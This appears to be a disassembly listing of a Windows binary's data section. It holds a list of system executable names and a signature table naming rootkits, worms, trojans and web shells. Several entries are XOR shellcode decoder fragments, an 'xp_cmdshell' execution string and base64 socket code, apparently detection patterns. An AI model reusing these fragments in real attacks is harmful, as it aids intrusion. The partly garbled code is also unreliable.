aRdsaddin_exe	db 'rdsaddin.exe',0     ; DATA XREF: .text:0043F35Co
		align 10h
aRdpclip_exe	db 'rdpclip.exe',0      ; DATA XREF: .text:0043F358o
aRcp_exe	db 'rcp.exe',0          ; DATA XREF: .text:0043F354o
aRcimlby_exe	db 'rcimlby.exe',0      ; DATA XREF: .text:0043F350o
aRasphone_exe	db 'rasphone.exe',0     ; DATA XREF: .text:0043F34Co
		align 10h
aRasdial_exe	db 'rasdial.exe',0      ; DATA XREF: .text:0043F348o
aRasautou_exe	db 'rasautou.exe',0     ; DATA XREF: .text:0043F344o
		align 4
aQwinsta_exe	db 'qwinsta.exe',0      ; DATA XREF: .text:0043F340o
aQprocess_exe	db 'qprocess.exe',0     ; DATA XREF: .text:0043F33Co
		align 4
aQappsrv_exe	db 'qappsrv.exe',0      ; DATA XREF: .text:0043F338o
aProxycfg_exe	db 'proxycfg.exe',0     ; DATA XREF: .text:0043F334o
		align 4
aProquota_exe	db 'proquota.exe',0     ; DATA XREF: .text:0043F330o
		align 4
aProgman_exe	db 'progman.exe',0      ; DATA XREF: .text:0043F32Co
aPrint_exe	db 'print.exe',0        ; DATA XREF: .text:0043F328o
		align 4
aPowercfg_exe	db 'powercfg.exe',0     ; DATA XREF: .text:0043F324o
		align 4
aPing6_exe	db 'ping6.exe',0        ; DATA XREF: .text:0043F320o
		align 4
aPing_exe	db 'ping.exe',0         ; DATA XREF: .text:0043F31Co
		align 4
aPerfmon_exe	db 'perfmon.exe',0      ; DATA XREF: .text:0043F318o
aPentnt_exe	db 'pentnt.exe',0       ; DATA XREF: .text:0043F314o
		align 4
aPathping_exe	db 'pathping.exe',0     ; DATA XREF: .text:0043F310o
		align 4
aPackager_exe	db 'packager.exe',0     ; DATA XREF: .text:0043F30Co
		align 4
aOsuninst_exe	db 'osuninst.exe',0     ; DATA XREF: .text:0043F308o
		align 4
aOsk_exe	db 'osk.exe',0          ; DATA XREF: .text:0043F304o
aOpenfiles_exe	db 'openfiles.exe',0    ; DATA XREF: .text:0043F300o
		align 4
aOdbcconf_exe	db 'odbcconf.exe',0     ; DATA XREF: .text:0043F2FCo
		align 4
aOdbcad32_exe	db 'odbcad32.exe',0     ; DATA XREF: .text:0043F2F8o
		align 4
aNwscript_exe	db 'nwscript.exe',0     ; DATA XREF: .text:0043F2F4o
		align 4
aNw16_exe	db 'nw16.exe',0         ; DATA XREF: .text:0043F2F0o
		align 10h
aNtvdm_exe	db 'ntvdm.exe',0        ; DATA XREF: .text:0043F2ECo
		align 4
aNtsd_exe	db 'ntsd.exe',0         ; DATA XREF: .text:0043F2E8o
		align 4
aNtoskrnl_exe	db 'ntoskrnl.exe',0     ; DATA XREF: .text:0043F2E4o
		align 4
aNtkrnlpa_exe	db 'ntkrnlpa.exe',0     ; DATA XREF: .text:0043F2E0o
		align 4
aNtbackup_exe	db 'ntbackup.exe',0     ; DATA XREF: .text:0043F2DCo
		align 4
aNslookup_exe	db 'nslookup.exe',0     ; DATA XREF: .text:0043F2D8o
		align 4
aNotepad_exe_0	db 'notepad.exe',0      ; DATA XREF: .text:0043F2D4o
					; .text:0043F728o
aNlsfunc_exe	db 'nlsfunc.exe',0      ; DATA XREF: .text:0043F2D0o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .text:0043F2CCo
aNetsh_exe	db 'netsh.exe',0        ; DATA XREF: .text:0043F2C8o
		align 4
aNetsetup_exe	db 'netsetup.exe',0     ; DATA XREF: .text:0043F2C4o
		align 4
aNetdde_exe	db 'netdde.exe',0       ; DATA XREF: .text:0043F2C0o
		align 4
aNet1_exe	db 'net1.exe',0         ; DATA XREF: .text:0043F2BCo
		align 10h
aNet_exe	db 'net.exe',0          ; DATA XREF: .text:0043F2B8o
aNerocheck_exe	db 'NeroCheck.exe',0    ; DATA XREF: .text:0043F2B4o
		align 4
aNddeapir_exe	db 'nddeapir.exe',0     ; DATA XREF: .text:0043F2B0o
		align 4
aNbtstat_exe	db 'nbtstat.exe',0      ; DATA XREF: .text:0043F2ACo
aNarrator_exe	db 'narrator.exe',0     ; DATA XREF: .text:0043F2A8o
		align 4
aMstsc_exe	db 'mstsc.exe',0        ; DATA XREF: .text:0043F2A4o
		align 10h
aMstinit_exe	db 'mstinit.exe',0      ; DATA XREF: .text:0043F2A0o
aMsswchx_exe	db 'msswchx.exe',0      ; DATA XREF: .text:0043F29Co
aMspaint_exe	db 'mspaint.exe',0      ; DATA XREF: .text:0043F298o
aMsiexec_exe	db 'msiexec.exe',0      ; DATA XREF: .text:0043F294o
aMshta_exe	db 'mshta.exe',0        ; DATA XREF: .text:0043F290o
		align 4
aMshearts_exe	db 'mshearts.exe',0     ; DATA XREF: .text:0043F28Co
		align 4
aMsg_exe	db 'msg.exe',0          ; DATA XREF: .text:0043F288o
aMsdtc_exe	db 'msdtc.exe',0        ; DATA XREF: .text:0043F284o
		align 10h
aMscdexnt_exe	db 'mscdexnt.exe',0     ; DATA XREF: .text:0043F280o
		align 10h
aMrt_exe	db 'MRT.exe',0          ; DATA XREF: .text:0043F27Co
aMrinfo_exe	db 'mrinfo.exe',0       ; DATA XREF: .text:0043F278o
		align 4
aMqtgsvc_exe	db 'mqtgsvc.exe',0      ; DATA XREF: .text:0043F274o
aMqsvc_exe	db 'mqsvc.exe',0        ; DATA XREF: .text:0043F270o
		align 4
aMqbkup_exe	db 'mqbkup.exe',0       ; DATA XREF: .text:0043F26Co
		align 4
aMpnotify_exe	db 'mpnotify.exe',0     ; DATA XREF: .text:0043F268o
		align 4
aMplay32_exe	db 'mplay32.exe',0      ; DATA XREF: .text:0043F264o
aMountvol_exe	db 'mountvol.exe',0     ; DATA XREF: .text:0043F260o
		align 4
aMobsync_exe	db 'mobsync.exe',0      ; DATA XREF: .text:0043F25Co
aMnmsrvc_exe	db 'mnmsrvc.exe',0      ; DATA XREF: .text:0043F258o
aMmc_exe	db 'mmc.exe',0          ; DATA XREF: .text:0043F254o
aMigpwd_exe	db 'migpwd.exe',0       ; DATA XREF: .text:0043F250o
		align 10h
aMem_exe	db 'mem.exe',0          ; DATA XREF: .text:0043F24Co
aMakecab_exe	db 'makecab.exe',0      ; DATA XREF: .text:0043F248o
aMagnify_exe	db 'magnify.exe',0      ; DATA XREF: .text:0043F244o
aLsass_exe	db 'lsass.exe',0        ; DATA XREF: .text:0043F240o
		align 4
aLpr_exe	db 'lpr.exe',0          ; DATA XREF: .text:0043F23Co
aLpq_exe	db 'lpq.exe',0          ; DATA XREF: .text:0043F238o
aLogonui_exe	db 'logonui.exe',0      ; DATA XREF: .text:0043F234o
aLogoff_exe	db 'logoff.exe',0       ; DATA XREF: .text:0043F230o
		align 4
aLogman_exe	db 'logman.exe',0       ; DATA XREF: .text:0043F22Co
		align 10h
aLogagent_exe	db 'logagent.exe',0     ; DATA XREF: .text:0043F228o
		align 10h
aLodctr_exe	db 'lodctr.exe',0       ; DATA XREF: .text:0043F224o
		align 4
aLocator_exe	db 'locator.exe',0      ; DATA XREF: .text:0043F220o
aLnkstub_exe	db 'lnkstub.exe',0      ; DATA XREF: .text:0043F21Co
aLights_exe	db 'lights.exe',0       ; DATA XREF: .text:0043F218o
		align 10h
aLabel_exe	db 'label.exe',0        ; DATA XREF: .text:0043F214o
		align 4
aKrnl386_exe	db 'krnl386.exe',0      ; DATA XREF: .text:0043F210o
aJview_exe	db 'jview.exe',0        ; DATA XREF: .text:0043F20Co
		align 4
aJdbgmgr_exe	db 'jdbgmgr.exe',0      ; DATA XREF: .text:0043F208o
aJavaws_exe	db 'javaws.exe',0       ; DATA XREF: .text:0043F204o
		align 4
aJavaw_exe	db 'javaw.exe',0        ; DATA XREF: .text:0043F200o
		align 4
aJava_exe	db 'java.exe',0         ; DATA XREF: .text:0043F1FCo
		align 4
aIpxroute_exe	db 'ipxroute.exe',0     ; DATA XREF: .text:0043F1F8o
		align 4
aIpv6_exe	db 'ipv6.exe',0         ; DATA XREF: .text:0043F1F4o
		align 10h
aIpsec6_exe	db 'ipsec6.exe',0       ; DATA XREF: .text:0043F1F0o
		align 4
aIpconfig_exe	db 'ipconfig.exe',0     ; DATA XREF: .text:0043F1ECo
		align 4
aImapi_exe	db 'imapi.exe',0        ; DATA XREF: .text:0043F1E8o
		align 4
aIexpress_exe	db 'iexpress.exe',0     ; DATA XREF: .text:0043F1E4o
		align 4
aIe4uinit_exe	db 'ie4uinit.exe',0     ; DATA XREF: .text:0043F1E0o
		align 4
aHostname_exe	db 'hostname.exe',0     ; DATA XREF: .text:0043F1DCo
		align 4
aHelp_exe	db 'help.exe',0         ; DATA XREF: .text:0043F1D8o
		align 4
aGrpconv_exe	db 'grpconv.exe',0      ; DATA XREF: .text:0043F1D4o
aGpupdate_exe	db 'gpupdate.exe',0     ; DATA XREF: .text:0043F1D0o
		align 10h
aGpresult_exe	db 'gpresult.exe',0     ; DATA XREF: .text:0043F1CCo
		align 10h
aGetmac_exe	db 'getmac.exe',0       ; DATA XREF: .text:0043F1C8o
		align 4
aGdi_exe	db 'gdi.exe',0          ; DATA XREF: .text:0043F1C4o
aGb2312_uce	db 'gb2312.uce',0       ; DATA XREF: .text:0043F1C0o
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: .text:0043F1BCo
aFsutil_exe	db 'fsutil.exe',0       ; DATA XREF: .text:0043F1B8o
		align 4
aFsquirt_exe	db 'fsquirt.exe',0      ; DATA XREF: .text:0043F1B4o
aFreecell_exe	db 'freecell.exe',0     ; DATA XREF: .text:0043F1B0o
		align 10h
aForcedos_exe	db 'forcedos.exe',0     ; DATA XREF: .text:0043F1ACo
		align 10h
aFontview_exe	db 'fontview.exe',0     ; DATA XREF: .text:0043F1A8o
		align 10h
aFltmc_exe	db 'fltMc.exe',0        ; DATA XREF: .text:0043F1A4o
		align 4
aFixmapi_exe	db 'fixmapi.exe',0      ; DATA XREF: .text:0043F1A0o
aFinger_exe	db 'finger.exe',0       ; DATA XREF: .text:0043F19Co
		align 4
aFindstr_exe	db 'findstr.exe',0      ; DATA XREF: .text:0043F198o
aFind_exe	db 'find.exe',0         ; DATA XREF: .text:0043F194o
		align 4
aFc_exe		db 'fc.exe',0           ; DATA XREF: .text:0043F190o
		align 4
aFastopen_exe	db 'fastopen.exe',0     ; DATA XREF: .text:0043F18Co
		align 4
aExtrac32_exe	db 'extrac32.exe',0     ; DATA XREF: .text:0043F188o
		align 4
aExpand_exe	db 'expand.exe',0       ; DATA XREF: .text:0043F184o
		align 10h
aExe2bin_exe	db 'exe2bin.exe',0      ; DATA XREF: .text:0043F180o
aEventvwr_exe	db 'eventvwr.exe',0     ; DATA XREF: .text:0043F17Co
		align 4
aEventtriggers_	db 'eventtriggers.exe',0 ; DATA XREF: .text:0043F178o
		align 10h
aEventcreate_ex	db 'eventcreate.exe',0  ; DATA XREF: .text:0043F174o
aEudcedit_exe	db 'eudcedit.exe',0     ; DATA XREF: .text:0043F170o
		align 10h
aEsentutl_exe	db 'esentutl.exe',0     ; DATA XREF: .text:0043F16Co
		align 10h
aEdlin_exe	db 'edlin.exe',0        ; DATA XREF: .text:0043F168o
		align 4
aDxdiag_exe	db 'dxdiag.exe',0       ; DATA XREF: .text:0043F164o
		align 4
aDwwin_exe	db 'dwwin.exe',0        ; DATA XREF: .text:0043F160o
		align 4
aDvdupgrd_exe	db 'dvdupgrd.exe',0     ; DATA XREF: .text:0043F15Co
		align 4
aDvdplay_exe	db 'dvdplay.exe',0      ; DATA XREF: .text:0043F158o
aDumprep_exe	db 'dumprep.exe',0      ; DATA XREF: .text:0043F154o
aDrwtsn32_exe	db 'drwtsn32.exe',0     ; DATA XREF: .text:0043F150o
		align 4
aDrwatson_exe	db 'drwatson.exe',0     ; DATA XREF: .text:0043F14Co
		align 4
aDriverquery_ex	db 'driverquery.exe',0  ; DATA XREF: .text:0043F148o
aDpvsetup_exe	db 'dpvsetup.exe',0     ; DATA XREF: .text:0043F144o
		align 4
aDpnsvr_exe	db 'dpnsvr.exe',0       ; DATA XREF: .text:0043F140o
		align 4
aDplaysvr_exe	db 'dplaysvr.exe',0     ; DATA XREF: .text:0043F13Co
		align 4
aDosx_exe	db 'dosx.exe',0         ; DATA XREF: .text:0043F138o
		align 4
aDoskey_exe	db 'doskey.exe',0       ; DATA XREF: .text:0043F134o
		align 10h
aDmremote_exe	db 'dmremote.exe',0     ; DATA XREF: .text:0043F130o
		align 10h
aDmadmin_exe	db 'dmadmin.exe',0      ; DATA XREF: .text:0043F12Co
aDllhst3g_exe	db 'dllhst3g.exe',0     ; DATA XREF: .text:0043F128o
		align 4
aDllhost_exe	db 'dllhost.exe',0      ; DATA XREF: .text:0043F124o
aDiskperf_exe	db 'diskperf.exe',0     ; DATA XREF: .text:0043F120o
		align 4
aDiskpart_exe	db 'diskpart.exe',0     ; DATA XREF: .text:0043F11Co
		align 4
aDiantz_exe	db 'diantz.exe',0       ; DATA XREF: .text:0043F118o
		align 4
aDfrgntfs_exe	db 'dfrgntfs.exe',0     ; DATA XREF: .text:0043F114o
		align 4
aDfrgfat_exe	db 'dfrgfat.exe',0      ; DATA XREF: .text:0043F110o
aDefrag_exe	db 'defrag.exe',0       ; DATA XREF: .text:0043F10Co
		align 4
aDebug_exe	db 'debug.exe',0        ; DATA XREF: .text:0043F108o
		align 4
aDdeshare_exe	db 'ddeshare.exe',0     ; DATA XREF: .text:0043F104o
		align 4
aDcomcnfg_exe	db 'dcomcnfg.exe',0     ; DATA XREF: .text:0043F100o
		align 4
aCtfmon_exe	db 'ctfmon.exe',0       ; DATA XREF: .text:0043F0FCo
		align 4
aCsrss_exe	db 'csrss.exe',0        ; DATA XREF: .text:0043F0F8o
		align 10h
aCscript_exe	db 'cscript.exe',0      ; DATA XREF: .text:0043F0F4o
aConvert_exe	db 'convert.exe',0      ; DATA XREF: .text:0043F0F0o
aControl_exe	db 'control.exe',0      ; DATA XREF: .text:0043F0ECo
aConime_exe	db 'conime.exe',0       ; DATA XREF: .text:0043F0E8o
		align 10h
aCompact_exe	db 'compact.exe',0      ; DATA XREF: .text:0043F0E4o
aComp_exe	db 'comp.exe',0         ; DATA XREF: .text:0043F0E0o
		align 4
aCmstp_exe	db 'cmstp.exe',0        ; DATA XREF: .text:0043F0DCo
		align 4
aCmmon32_exe	db 'cmmon32.exe',0      ; DATA XREF: .text:0043F0D8o
aCmdl32_exe	db 'cmdl32.exe',0       ; DATA XREF: .text:0043F0D4o
		align 4
aClspack_exe	db 'clspack.exe',0      ; DATA XREF: .text:0043F0CCo
aClipsrv_exe	db 'clipsrv.exe',0      ; DATA XREF: .text:0043F0C8o
aClipbrd_exe	db 'clipbrd.exe',0      ; DATA XREF: .text:0043F0C4o
aCliconfg_exe	db 'cliconfg.exe',0     ; DATA XREF: .text:0043F0C0o
		align 10h
aCleanmgr_exe	db 'cleanmgr.exe',0     ; DATA XREF: .text:0043F0BCo
		align 10h
aCkcnv_exe	db 'ckcnv.exe',0        ; DATA XREF: .text:0043F0B8o
		align 4
aCisvc_exe	db 'cisvc.exe',0        ; DATA XREF: .text:0043F0B4o
		align 4
aCipher_exe	db 'cipher.exe',0       ; DATA XREF: .text:0043F0B0o
		align 4
aCidaemon_exe	db 'cidaemon.exe',0     ; DATA XREF: .text:0043F0ACo
		align 4
aChkntfs_exe	db 'chkntfs.exe',0      ; DATA XREF: .text:0043F0A8o
aChkdsk_exe	db 'chkdsk.exe',0       ; DATA XREF: .text:0043F0A4o
		align 4
aChcfg_exe	db 'ChCfg.exe',0        ; DATA XREF: .text:0043F0A0o
		align 4
aCharmap_exe	db 'charmap.exe',0      ; DATA XREF: .text:0043F09Co
aCalc_exe	db 'calc.exe',0         ; DATA XREF: .text:0043F098o
		align 10h
aCacls_exe	db 'cacls.exe',0        ; DATA XREF: .text:0043F094o
		align 4
aBootvrfy_exe	db 'bootvrfy.exe',0     ; DATA XREF: .text:0043F090o
		align 4
aBootok_exe	db 'bootok.exe',0       ; DATA XREF: .text:0043F08Co
		align 4
aBootcfg_exe	db 'bootcfg.exe',0      ; DATA XREF: .text:0043F088o
aBlastcln_exe	db 'blastcln.exe',0     ; DATA XREF: .text:0043F084o
		align 4
aAutolfn_exe	db 'autolfn.exe',0      ; DATA XREF: .text:0043F080o
aAutofmt_exe	db 'autofmt.exe',0      ; DATA XREF: .text:0043F07Co
aAutoconv_exe	db 'autoconv.exe',0     ; DATA XREF: .text:0043F078o
		align 4
aAutochk_exe	db 'autochk.exe',0      ; DATA XREF: .text:0043F074o
aAuditusr_exe	db 'auditusr.exe',0     ; DATA XREF: .text:0043F070o
		align 4
aAttrib_exe	db 'attrib.exe',0       ; DATA XREF: .text:0043F06Co
		align 4
aAtmadm_exe	db 'atmadm.exe',0       ; DATA XREF: .text:0043F068o
		align 10h
aAti2mdxx_exe	db 'Ati2mdxx.exe',0     ; DATA XREF: .text:0043F064o
		align 10h
aAti2evxx_exe	db 'ati2evxx.exe',0     ; DATA XREF: .text:0043F060o
					; .text:0043F5A8o
		align 10h
aAt_exe		db 'at.exe',0           ; DATA XREF: .text:0043F05Co
		align 4
aAsr_pfu_exe	db 'asr_pfu.exe',0      ; DATA XREF: .text:0043F058o
aAsr_ldm_exe	db 'asr_ldm.exe',0      ; DATA XREF: .text:0043F054o
aAsr_fmt_exe	db 'asr_fmt.exe',0      ; DATA XREF: .text:0043F050o
aArp_exe	db 'arp.exe',0          ; DATA XREF: .text:0043F04Co
aAppend_exe	db 'append.exe',0       ; DATA XREF: .text:0043F048o
		align 10h
aAlg_exe	db 'alg.exe',0          ; DATA XREF: .text:0043F044o
aAhui_exe	db 'ahui.exe',0         ; DATA XREF: .text:0043F040o
		align 4
aActmovie_exe	db 'actmovie.exe',0     ; DATA XREF: .text:0043F03Co
		align 4
aAccwiz_exe	db 'accwiz.exe',0       ; DATA XREF: .text:0043F038o
		align 10h
aHdashcut_exe	db 'HDAShCut.exe',0     ; DATA XREF: .text:0043F034o
					; .text:0043F650o
		align 10h
aKeystone_exe	db 'keystone.exe',0     ; DATA XREF: .text:0043F030o
		align 10h
aNwiz_exe	db 'nwiz.exe',0         ; DATA XREF: .text:0043F02Co
		align 4
aNvcplui_exe	db 'nvcplui.exe',0      ; DATA XREF: .text:0043F028o
aNvdspsch_exe	db 'nvdspsch.exe',0     ; DATA XREF: .text:0043F024o
		align 4
aNvcolor_exe	db 'nvcolor.exe',0      ; DATA XREF: .text:0043F020o
aNvappbar_exe	db 'nvappbar.exe',0     ; DATA XREF: .text:0043F01Co
		align 4
aNvudisp_exe	db 'nvudisp.exe',0      ; DATA XREF: .text:0043F018o
aNvsvc32_exe	db 'nvsvc32.exe',0      ; DATA XREF: .text:0043F014o
aNvuninst_exe	db 'NVUNINST.EXE',0     ; DATA XREF: .text:0043F010o
		align 4
aSview_exe	db 'sview.exe',0        ; DATA XREF: .text:0043F00Co
		align 4
aNview_exe	db 'nview.exe',0        ; DATA XREF: .text:0043F008o
		align 4
aWmsoft_exe	db 'wmsoft*.exe',0      ; DATA XREF: .text:0043F004o
					; .text:0043F644o ...
aHttpWww_fireda	db 'http://www.firedaemon.com',0 ; DATA XREF: .text:0043EFF4o
		align 4
aFiredaemon_b	db 'FireDaemon.b',0     ; DATA XREF: .text:0043EFF0o
		align 4
aCopyrightC2007	db 'Copyright (c) 2007 FireDaemon Technologies Limited',0
					; DATA XREF: .text:0043EFECo
		align 10h
aFiredaemon_a	db 'FireDaemon.a',0     ; DATA XREF: .text:0043EFE8o
		align 10h
aStrncpyWolffdi	db 'strncpy(wolffdir, xdccdir, MAX_PATH); strncat(wolffdir, "\wolff",'
					; DATA XREF: .text:0043EFE4o
		db ' MAX_PATH)',0
aWolf_kit	db 'Wolf.Kit',0         ; DATA XREF: .text:0043EFE0o
		align 4
aDefineHe4_hook	db '#define HE4_HOOK_INV_VERSION    0x20001005',0
					; DATA XREF: .text:0043EFDCo
		align 4
aHe4hookrootkit	db 'He4HookRootkit-v2.15b',0 ; DATA XREF: .text:0043EFD8o
		align 4
aMsdirectx_sys	db 'msdirectx.sys',0    ; DATA XREF: .text:0043EFD4o
		align 4
aFu_driver_b	db 'FU.Driver.b',0      ; DATA XREF: .text:0043EFD0o
aRdriv_sys	db 'rdriv.sys',0        ; DATA XREF: .text:0043EFCCo
		align 4
aFu_driver_a	db 'FU.Driver.a',0      ; DATA XREF: .text:0043EFC8o
dword_441020	dd 301B3015h, 3054304Ah, 3067305Eh, 30AB3087h, 30C230B1h
					; DATA XREF: .text:0043EFC4o
		dd 31C331B7h, 31DB31CFh, 327A31F5h, 338E332Fh, 33A7339Ah
		dd 343233AFh, 3442343Ah, 345A344Fh, 34E634B3h, 34F834EFh
		dd 350A3501h, 351C3513h, 357E3524h, 366B3589h, 369C3688h
		dd 36C336BAh, 36EE36E4h, 37133709h, 377C3775h, 3797378Bh
		dd 391A37B1h, 39333924h, 39B13943h, 3A0B3A05h, 3A243A16h
		dd 3A453A3Ah, 3A643A55h, 3A783A69h, 3A913A8Bh, 3AAD3A9Eh
		dd 3AC23AB9h, 3ADE3AD8h, 0
aFu_rootkit_dri	db 'FU.Rootkit.Driver',0 ; DATA XREF: .text:0043EFC0o
		align 4
aStaticCharAc_d	db 'static CHAR ac_driverName[] = "msdirectx.sys',0
					; DATA XREF: .text:0043EFBCo
		align 4
aFu_rootkit_c	db 'FU.Rootkit.c',0     ; DATA XREF: .text:0043EFB8o
		align 4
aConstWcharDevi	db 'const WCHAR deviceNameBuffer[]  = L"\Device\msdirectx',0
					; DATA XREF: .text:0043EFB4o
		align 4
aFu_rootkit_b	db 'FU.Rootkit.b',0     ; DATA XREF: .text:0043EFB0o
		align 4
aDefineFile_dev	db '#define FILE_DEVICE_ROOTKIT      0x00002a7b',0
					; DATA XREF: .text:0043EFACo
aFu_rootkit_a	db 'FU.Rootkit.a',0     ; DATA XREF: .text:0043EFA8o
		align 10h
aImportMsnMsnme	db '#import "MSN/MSNMessengerAPI.tlb" named_guids, no_namespace',0
					; DATA XREF: .text:0043EFA4o
aMsnbot_b	db 'MSNBot.b',0         ; DATA XREF: .text:0043EFA0o
		align 4
aStaticConstCha	db 'static const char *msg_english[] = {',0 ; DATA XREF: .text:0043EF9Co
		align 10h
aMsnbot_a	db 'MSNBot.a',0         ; DATA XREF: .text:0043EF98o
		align 4
aNircomline	db 'NirComLine',0       ; DATA XREF: .text:0043EF90o
					; .text:0043EF94o
		align 4
aPipeEpmapper	db 'pipe\epmapper\',0   ; DATA XREF: .text:0043EF8Co
		align 4
aDcomOldScan	db 'Dcom-Old-Scan',0    ; DATA XREF: .text:0043EF88o
		align 4
aR0lgodlhfaauak	db 'R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaGhgQEBP//////wAAACH5BAEAAAY'
					; DATA XREF: .text:0043EF84o
		db 'ALAAAAAAUABQAAAM8',0
		align 4
aC99		db 'c99',0              ; DATA XREF: .text:0043EF80o
aI2luy2x1zgugph	db 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZ'
					; DATA XREF: .text:0043EF7Co
		db 'SA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZG'
		db 'UgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJ'
		db 'nYyxhcmd2KQ0KaW50I',0
		align 4
aR57		db 'r57',0              ; DATA XREF: .text:0043EF78o
aHiderunHiddenA	db 'HideRun -- hidden application launcher.',0 ; DATA XREF: .text:0043EF74o
aHiderun	db 'HideRun',0          ; DATA XREF: .text:0043EF70o
aSoftwareAdrian	db 'Software\Adrian Lopez\HideWindow\Preferences HideWindow',0
					; DATA XREF: .text:0043EF6Co
aHiderGui	db 'Hider-Gui',0        ; DATA XREF: .text:0043EF68o
		align 10h
aSoftwareMicr_4	db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones'
					; DATA XREF: .text:0043EF64o
		db '\3',0
aLowerzones	db 'LowerZones',0       ; DATA XREF: .text:0043EF60o
		align 10h
aWindowsupdate_	db 'windowsupdate.com',0 ; DATA XREF: .text:0043EF5Co
		align 4
aMsblast	db 'MsBlast',0          ; DATA XREF: .text:0043EF58o
dword_44144C	dd 0FFFFFF43h, 1303030h, 282B1F0Ah, 132A12Bh, 0aBeagle		db 'Beagle',0           ; DATA XREF: .text:0043EF50o
		align 4
aDonateToTheHur	db 'Donate to the Hurricane Katrina relief effort.',0
					; DATA XREF: .text:0043EF4Co
		align 4
aBobic_b	db 'Bobic.B',0          ; DATA XREF: .text:0043EF48o
aOsamaBinLadenC	db 'Osama Bin Laden Captured.',0 ; DATA XREF: .text:0043EF44o
		align 4
aBobic_a	db 'Bobic.A',0          ; DATA XREF: .text:0043EF40o
unk_4414C4	db  6Fh	; o		; DATA XREF: .text:0043EF3Co
		db 3, 50h, 73h
aGetcurrentproc	db 'GetCurrentProcessI',0
		align 4
aTaskhider	db 'TaskHider',0        ; DATA XREF: .text:0043EF38o
		align 4


loc_4414E8:				; DATA XREF: .text:0043EF34o
		jmp	short loc_4414F9
; ---------------------------------------------------------------------------


loc_4414EA:				; CODE XREF: .text:loc_4414F9p
		pop	ebx
		xor	ecx, ecx
		sub	cx, 0FFEEh


loc_4414F1:				; CODE XREF: .text:004414F5j
		xor	byte ptr [ebx],	55h
		inc	ebx
		loop	loc_4414F1
		jmp	short near ptr word_4414FE
; ---------------------------------------------------------------------------


loc_4414F9:				; CODE XREF: .text:loc_4414E8j
		call	loc_4414EA
; ---------------------------------------------------------------------------
word_4414FE	dw 0			; CODE XREF: .text:004414F7j
dword_441500	dd 69614D49h, 68532E6Ch, 6C6C65hdword_44150C	dd 0D959506Ah, 2474D9EEh, 73815BF4h, 6F8C0F13h,	0
					; DATA XREF: .text:0043EF2Co
dword_441520	dd 77537049h, 68637469h, 6568532Eh, 6C6Ch; ---------------------------------------------------------------------------


loc_441530:				; DATA XREF: .text:0043EF24o
		jmp	short near ptr word_4415A2
; ---------------------------------------------------------------------------
		dw 3356h
		dd 408B64C0h, 78C08530h, 0C408B0Ch, 0
dword_441544	dd 4474654Eh, 532E4544h, 6C6C6568h, 0; ---------------------------------------------------------------------------


loc_441554:				; DATA XREF: .text:0043EF1Co
		jmp	short near ptr word_441566
; ---------------------------------------------------------------------------
		dw 4B5Bh
; ---------------------------------------------------------------------------
		xor	ecx, ecx
		mov	cx, 125h


loc_44155E:				; CODE XREF: .text:00441562j
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_44155E
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_441566	dw 0			; CODE XREF: .text:loc_441554j
dword_441568	dd 68637653h, 2E74736Fh, 6C656853h, 6Chdword_441578	dd 8166C933h, 0D9FFB0E9h, 2474D9EEh, 73815BF4h,	0
					; DATA XREF: .text:0043EF14o
dword_44158C	dd 63626954h, 68532E6Fh, 6C6C65h; ---------------------------------------------------------------------------


loc_441598:				; DATA XREF: .text:0043EF0Co
		jmp	short loc_4415B3
; ---------------------------------------------------------------------------
		dw 315Eh
		dd 89E981C9h
		db 0FFh, 0
word_4415A2	dw 0			; CODE XREF: .text:loc_441530j
aOld4444shell	db 'Old4444Shell',0     ; DATA XREF: .text:0043EF08o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4415B3:				; CODE XREF: .text:loc_441598j
					; DATA XREF: .text:0043EF04o
		add	[ebx+46h], dl
		push	esp


loc_4415B7:				; DATA XREF: .text:0043EF00o
		xor	ds:53006925h, dh
		jnz	short loc_441621
		aaa
; ---------------------------------------------------------------------------
		dd 0
a022moptestmv1_	db '022OPtestv1.1',0Dh,0Ah,0 ; DATA XREF: .text:0043EEFCo
		align 4
aOptix		db 'Optix',0            ; DATA XREF: .text:0043EEF8o
		align 10h
aPleaz_runS	db 'pleaz_run%s',0      ; DATA XREF: .text:0043EEF4o
aNetdevil	db 'NetDevil',0         ; DATA XREF: .text:0043EEF0o
		align 4
aSystemrootSyst	db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .text:0043EEECo
		align 4
aVncscan	db 'VNCScan',0          ; DATA XREF: .text:0043EEE8o
byte_441620	db 80h			; DATA XREF: .text:0043EEE4o
; ---------------------------------------------------------------------------


loc_441621:				; CODE XREF: .text:004415BDj
		bound	eax, [ecx]
		add	bh, [ebp+1000100h]
		add	[esi], dl
; ---------------------------------------------------------------------------
		db 8Fh
		dd 182h
aIis5ssl	db 'IIS5SSL',0          ; DATA XREF: .text:0043EEE0o
aMain_0		db '[MAIN]: ',0         ; DATA XREF: .text:0043EEDCo
		align 4
aRxMain		db 'Rx Main',0          ; DATA XREF: .text:0043EED8o
; ---------------------------------------------------------------------------


loc_44164C:				; DATA XREF: .text:0043EED4o
		mov	edi, ecx
		xor	al, al
		inc	al
		repne scasb
		jmp	edi
; ---------------------------------------------------------------------------
		align 4
aWebdav		db 'WebDav',0           ; DATA XREF: .text:0043EED0o
		align 10h
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell',0 ; DATA XREF: .text:0043EECCo
		align 4
aMssql_b	db 'MSSQL.B',0          ; DATA XREF: .text:0043EEC8o
aThcthcthcthcth	db 'THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC',0
					; DATA XREF: .text:0043EEC4o
		align 4
aMssql_a	db 'MSSQL.A',0          ; DATA XREF: .text:0043EEC0o
a8d9f4e40A03d11	db '8d9f4e40-a03d-11ce-8f69-08003e30051b',0 ; DATA XREF: .text:0043EEBCo
		align 4
aPnp_b		db 'PNP.b',0            ; DATA XREF: .text:0043EEB8o
		align 10h
